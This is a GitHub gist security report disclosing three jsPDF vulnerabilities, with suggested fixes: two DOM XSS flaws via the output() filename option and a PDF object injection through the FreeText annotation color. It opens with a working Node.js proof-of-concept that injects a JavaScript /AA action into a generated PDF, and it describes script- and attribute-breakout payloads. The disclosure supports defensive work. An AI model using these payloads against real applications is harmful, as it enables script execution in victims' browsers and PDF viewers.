Skip to content

Instantly share code, notes, and snippets.

@peaktwilight
Created March 8, 2026 20:18
Show Gist options
  • Select an option

  • Save peaktwilight/18861250c0d1e8ebaf660e93b872e82a to your computer and use it in GitHub Desktop.

Select an option

Save peaktwilight/18861250c0d1e8ebaf660e93b872e82a to your computer and use it in GitHub Desktop.
Security Report: 3 vulnerabilities in jsPDF (private)
/**
* PoC: PDF object injection via freetext annotation color
* (incomplete CVE-2026-25755 fix)
*
* jspdf concatenates the annotation color into a PDF string literal
* without escaping parentheses:
*
* line += " /DS(font: ... color:#" + color + ")";
*
* A color value containing ")" closes the /DS string early, allowing
* injection of arbitrary PDF dictionary entries such as /AA actions
* containing JavaScript.
*/
const { jsPDF } = require("jspdf");
const fs = require("fs");
const path = require("path");
const outputPath = path.join(__dirname, "exploited.pdf");
// Malicious color value: closes the /DS string literal, then injects
// an Additional Actions (/AA) dictionary with an Open action that
// runs JavaScript.
const maliciousColor =
"000000) /AA <</O <</S /JavaScript /JS (app.alert('XSS'))>>>> /Dummy(";
const doc = new jsPDF();
doc.text("PoC: freetext annotation color injection", 10, 10);
doc.createAnnotation({
type: "freetext",
bounds: { x: 10, y: 20, w: 200, h: 40 },
contents: "Injected annotation",
color: maliciousColor,
});
const pdfBytes = doc.output("arraybuffer");
fs.writeFileSync(outputPath, Buffer.from(pdfBytes));
// Verify injection by scanning the raw PDF content
const raw = fs.readFileSync(outputPath, "utf-8");
if (raw.includes("/JavaScript") && raw.includes("app.alert")) {
console.log("EXPLOITED - PDF object injection via freetext annotation color");
console.log(" Injected /AA JavaScript action found in raw PDF bytes.");
console.log(" Output: " + outputPath);
process.exit(0);
} else {
console.log("NOT EXPLOITED - injection payload not found in PDF output.");
process.exit(1);
}

Security Report: 3 Vulnerabilities in jsPDF

Date: 2026-03-08 Researcher: Doruk Tan Ozturk (@peaktwilight) - https://doruk.ch


Vulnerability #1: DOM XSS via output('pdfobjectnewwindow') options injection

Severity: High Affected code location: jspdf.umd.js - the pdfobjectnewwindow case in the output() method

Description: The pdfobjectnewwindow output mode constructs an HTML page containing an inline <script> tag. The options object is serialized using JSON.stringify() and concatenated directly into the script body:

'<script>PDFObject.embed("' + this.output("dataurlstring") + '", ' + JSON.stringify(options) + ");</script>"

JSON.stringify() does not escape </script> sequences. If options.filename contains a </script> string, it breaks out of the script tag context, enabling injection of arbitrary HTML and JavaScript.

Impact: An attacker who controls the filename option can achieve full DOM-based XSS in the context of the page that renders the PDF output.

PoC: See exploit.js (pdfobjectnewwindow variant) attached in this gist.

Suggested fix: Escape all occurrences of </ in the JSON-serialized string before embedding it in the HTML, or use a safe DOM-based approach (e.g., document.createElement) instead of string concatenation into innerHTML/document.write.


Vulnerability #2: DOM XSS via output('pdfjsnewwindow') filename injection

Severity: High Affected code location: jspdf.umd.js / jspdf.node.js - the pdfjsnewwindow case in the output() method

Description: The pdfjsnewwindow output mode builds an HTML page with an iframe whose src attribute includes the options.filename value without any encoding or escaping:

'<iframe id="pdfViewer" src="' + pdfJsUrl + '?file=&downloadName=' + options.filename + '"...'

A double-quote character in the filename breaks out of the src attribute, allowing injection of arbitrary HTML attributes such as event handlers (e.g., onload="alert(1)").

Impact: An attacker who controls the filename option can inject arbitrary attributes into the iframe element, achieving DOM-based XSS.

PoC: See exploit.js (pdfjsnewwindow variant) attached in this gist.

Suggested fix: Apply proper HTML attribute encoding to options.filename before embedding it in the src attribute. At minimum, encode ", <, >, and & characters.


Vulnerability #3: PDF Object Injection via FreeText Annotation Color (Incomplete fix for CVE-2026-25755)

Severity: High Affected code location: FreeText annotation handling in jsPDF - the /DS string construction

Description: This vulnerability represents an incomplete fix for CVE-2026-25755. The jsPDF library concatenates the annotation color value directly into a PDF string literal without escaping parentheses:

line += " /DS(font: ... color:#" + color + ")";

A color value containing ) closes the /DS string early, allowing injection of arbitrary PDF dictionary entries. An attacker can inject /AA (Additional Actions) dictionaries containing JavaScript actions that execute when the annotation is interacted with or the PDF is opened.

Impact: An attacker who controls the color parameter of a FreeText annotation can inject arbitrary PDF objects, including JavaScript actions that execute in PDF viewers that support JavaScript (e.g., Adobe Acrobat).

PoC: See exploit.js (freetext-color-injection variant) attached in this gist.

Suggested fix: Escape parentheses ( and ) in the color value before embedding it in the PDF string literal. All user-supplied values that are placed inside PDF string literals delimited by ( and ) must have those characters escaped with a backslash.


Summary

# Vulnerability Severity CVE
1 DOM XSS in pdfobjectnewwindow via JSON.stringify High -
2 DOM XSS in pdfjsnewwindow via unescaped filename High -
3 PDF object injection via FreeText annotation color High Incomplete fix for CVE-2026-25755

All three vulnerabilities stem from insufficient input sanitization when user-controlled values are concatenated into structured output formats (HTML or PDF).

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment